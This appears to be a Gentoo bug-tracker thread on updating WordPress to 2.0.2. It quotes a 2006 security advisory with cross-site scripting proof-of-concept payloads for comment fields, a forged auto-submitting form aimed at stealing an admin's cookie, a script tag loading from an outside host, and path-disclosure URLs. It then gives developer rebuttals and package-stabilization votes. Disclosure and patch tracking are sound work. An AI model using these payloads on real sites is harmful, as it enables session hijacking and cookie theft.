An important security issue has been brought to the attention of the WordPress team and we have worked diligently to bring you a new stable release that addresses it. Our latest version 2.0.2 contains several bugfixes and security fixes.
web-apps please bump... Any vulnerability details ?
According to the above link it is several unannounced XSS issues. Btw bumping appears to work just fine.
This is the post to the bugtraq mailinglist where the XSS vulnerabilities first were mentioned. /* --------------------------------------------------------------- [N]eo [S]ecurity [T]eam [NST]
This is the post to the bugtraq mailinglist where the XSS vulnerabilities first were mentioned. /* --------------------------------------------------------------- [N]eo [S]ecurity [T]eam [NST]® WordPress 2.0.1 Multiple Vulnerabilities --------------------------------------------------------------- Program : WordPress 2.0 Homepage: http://www.wordpress.org Vulnerable Versions: WordPress 2.0.1 & lower ones Risk: Critical! Impact: XSS, Full Path Disclosure, Directory Listing -> WordPress 2.0.1 Multiple Vulnerabilities <- --------------------------------------------------------------- - Description --------------------------------------------------------------- WordPress is a state-of-the-art semantic personal publishing platform with a focus on aesthetics, web standards, and usability. What a mouthful. WordPress is both free and priceless at the same time. - Tested --------------------------------------------------------------- Tested in localhost & many blogs - Bug --------------------------------------------------------------- The vendor was contacted about some other coding errors that are not described here, the vendor was noticed about these bugs when this advisory was published. <+ Multiple XSS +> There're multiple XSS in `post comment': [1] `name' variable is not filtered when it's assigned to `value' on the `<input>' in the form when the comment it's posted. [2] Happends the same as [1] with `website' variable. [3] `comment', this variable only filtered " and ' chars, this makes possible to use < and >, thus this permit an attacker to inject any HTML (or script) code that he/she want but without any " or ' character, this only happends if the user that post the comment it's the admin (any registered kind of `user'). If you (or victim) is a unregistered user, you can use " and ' in your HTML/script Injection using `name' or `website' variables, but if the victim is the admin or a registered user these 2 fields described above aren't availabe in the form so you cannot even give a value to them. The only remaining option it's to use the `comment' variable but here we have the problem that we cannot use " or ' in HTML/SCRIPT Injected and we have to make the admin to post the comment (POST method). <+ Full path disclosure & Directory listing +> When I discovered this bug, I reported it to some pepople before public disclosure, I was noticed that this isn't new and I decided to look why they haven't patch this bug. As this bug it isn't patched yet, I tryed to know why and I found something like this in their forum (I don't know if the person that posted this was the admin but it gives the explanation): (Something like the following, it's not textual). `... these bugs are caused by badly configured .ini file, it's not a bug generated by the script so it cannot be accepted as a bug of WordPress...'. This is not an acceptable answer, if you think it is, a bug caused because of register_globals is Off it's .ini fault and not the script, they have to be kidding, if they want to make good software, they have to make as far as the language can, to prevent all bugs. There're multiple files that don't check if they are been call directly. This is a problem because they expect that functions that the script is going to be called to be declared. This kind of bug it's taken as a Low Risk bug, but it can help to future attacks. - Exploit --------------------------------------------------------------- -- Cross Site Scripting (XSS) PoC: [1] Post a comment with the following values (as unregistered user): (No possible profit) Name : "><script>alert("WordPress PoC from");</script> Mail : neosecurityteam@nst.net Website: "><script>alert("[N]eo[S]ecurity[T]eam www.neosecurityteam.net");</script> Comment: www.neosecurityteam.net/foro/ The injected HTML code only affects the user that posted it, not others. [2] This way it's more intresting and useful. In this case the HTML Injected will stay in the board affecting each person who see it. But we have two problems: [I ]- This comment must be posted by the admin [II]- We only can use the `comment' field, because the admin form to make the comment doesn't need the `name' or `website'. Also the injected code cannot have any " or ' chars. Here are my solutions: [I ]- We cannot give to the admin a `malicius' URL to steal the cookie because it isn't via GET, it's via POST. So the solution it's to make a copy form of the real one and set the default values to the corresonding field (`comment') to make the stealing. Also make the form submit itself when the page loads. Thus, we give the admin the URL of this form and he/she will post the comment with the values we set before. :) [II]- We can only use this field to make the injection, the `big' problem its that we cannot use " or ' chars wich means that something like window.location = "http://www.google.com.uy"; won't work. Here are some real examples: - <script>alert(document.cookie)</script> - <script>alert(String.fromCharCode(80,111,67,32,111,102,32,87,111,114, 100,80,114,101,115,115,32,98,121,32,75,52,80,48,32,102,114,111,109,32, 78,83,84))</script> - <script src=http://www.neosecurityteam.net></script> - <script>document.location = String.fromCharCode(104,116,116,112,58,47, 47,119,119,119,46,110,101,111,115,101,99,117,114,105,116,121,116,101, 97,109,46,110,101,116)</script> As you can see this bug it's exploitable, it's only knowing a bit deeper how to do XSS under some conditions. There're more possibilities than described above, investigate yourself. -- Full path disclosure & Directory Listing Directory Listing: www.victim.com/wordpress/wp-includes/ Full path disclosure: www.victim.com/wordpress/wp-includes/default-filters.php www.victim.com/wordpress/wp-includes/template-loader.php www.victim.com/wordpress/wp-admin/edit-form-advanced.php www.victim.com/wordpress/wp-admin/edit-form-comment.php www.victim.com/wordpress/wp-includes/rss-functions.php www.victim.com/wordpress/wp-admin/admin-functions.php www.victim.com/wordpress/wp-admin/edit-link-form.php www.victim.com/wordpress/wp-admin/edit-page-form.php www.victim.com/wordpress/wp-admin/admin-footer.php www.victim.com/wordpress/wp-admin/menu-header.php www.victim.com/wordpress/wp-includes/locale.php www.victim.com/wordpress/wp-admin/edit-form.php www.victim.com/wordpress/wp-includes/wp-db.php www.victim.com/wordpress/wp-includes/kses.php www.victim.com/wordpress/wp-includes/vars.php www.victim.com/wordpress/wp-admin/menu.php www.victim.com/wordpress/wp-settings.php - Solutions --------------------------------------------------------------- <+ Cross Site Scripting (XSS) +> Change lines ~21 of 'wp-comments-post.php' to: $comment_author = htmlentities(trim($_POST['author'])); $comment_author_email = htmlentities(trim($_POST['email'])); $comment_author_url = htmlentities(trim($_POST['url'])); $comment_content = htmlentities(trim($_POST['comment'])); <+ Full Path Disclosure & Directory Listing +> In the first line of each vulnerable file you should write: if (eregi('name_of_the_file.php', $_SERVER['PHP_SELF'])) die('You are not allowed to see this page directly'); - References --------------------------------------------------------------- http://NeoSecurityTeam.net/advisories/Advisory-17.txt - Credits -------------------------------------------------------------- Discovered by K4P0-> k4p0k4p0[at]hotmail[dot]com [N]eo [S]ecurity [T]eam [NST]® - http://NeoSecurityTeam.net/ Irc.InfoGroup.cl #neosecurityteam Questions? (Eng | Spa) -> http://NeoSecurityTeam.net/foro/ - Greets --------------------------------------------------------------- Paisterist HaCkZaTaN Link Daemon21 erg0t NST Comunity! @@@@'''@@@@'@@@@@@@@@'@@@@@@@@@@@ '@@@@@''@@'@@@''''''''@@''@@@''@@ '@@'@@@@@@''@@@@@@@@@'''''@@@ '@@'''@@@@'''''''''@@@''''@@@ @@@@''''@@'@@@@@@@@@@''''@@@@@ */
I don't believe this "advisory" covers this true bugs fixed in this release. (In reply to comment #3) > -- Cross Site Scripting (XSS) > PoC: > [1] Post a comment with the following values (as unregistered user): > (No possible profit) No possible profit - i.e. this doesn't actually affect anyone apart from the user posting the comment! > > Name : "><script>alert("WordPress PoC from");</script> > Mail : neosecurityteam@nst.net > Website: "><script>alert("[N]eo[S]ecurity[T]eam > www.neosecurityteam.net");</script> > Comment: www.neosecurityteam.net/foro/ > > The injected HTML code only affects the user that posted it, not others. > "The injected HTML code only affects the user that posted it, not others." - This "injected code" is only stored in the user that posted it's cookie. > [2] This way it's more intresting and useful. > In this case the HTML Injected will stay in the board affecting each person > who see it. > But we have two problems: > [I ]- This comment must be posted by the admin > [II]- We only can use the `comment' field, because the admin form to make > the comment doesn't need the `name' or `website'. > Also the injected code cannot have any " or ' chars. > The Admin has the ability to wreck the blog in much easier ways that this - the admin can post what they like this is not a security issue IMHO > -- Full path disclosure & Directory Listing > Directory Listing: www.victim.com/wordpress/wp-includes/ > > Full path disclosure: > www.victim.com/wordpress/wp-includes/default-filters.php > www.victim.com/wordpress/wp-includes/template-loader.php ... > www.victim.com/wordpress/wp-settings.php This is a server config issue IMHO Anyhow, you don't need to rely on bad server configuration exposing the files here - you can just download the source!
2.0.2 has just been committed to the tree.
Arches please test and mark stable.
amd64 stable Aaron: I took this opportunity to replace all occurences of 'ewarn *' by a simple ewarn because a) ewarn prints an asterisk already and b) "ewarn * foo" will print all filenames of the local directory and append foo.
ppc stable
SPARC'd
x86 done \(^.^)/
This one is ready for GLSA decision. I tend to vote NO.
tend to say no, too
/me votes no too closing without GLSA
Stable on hppa. Sorry for the delay.
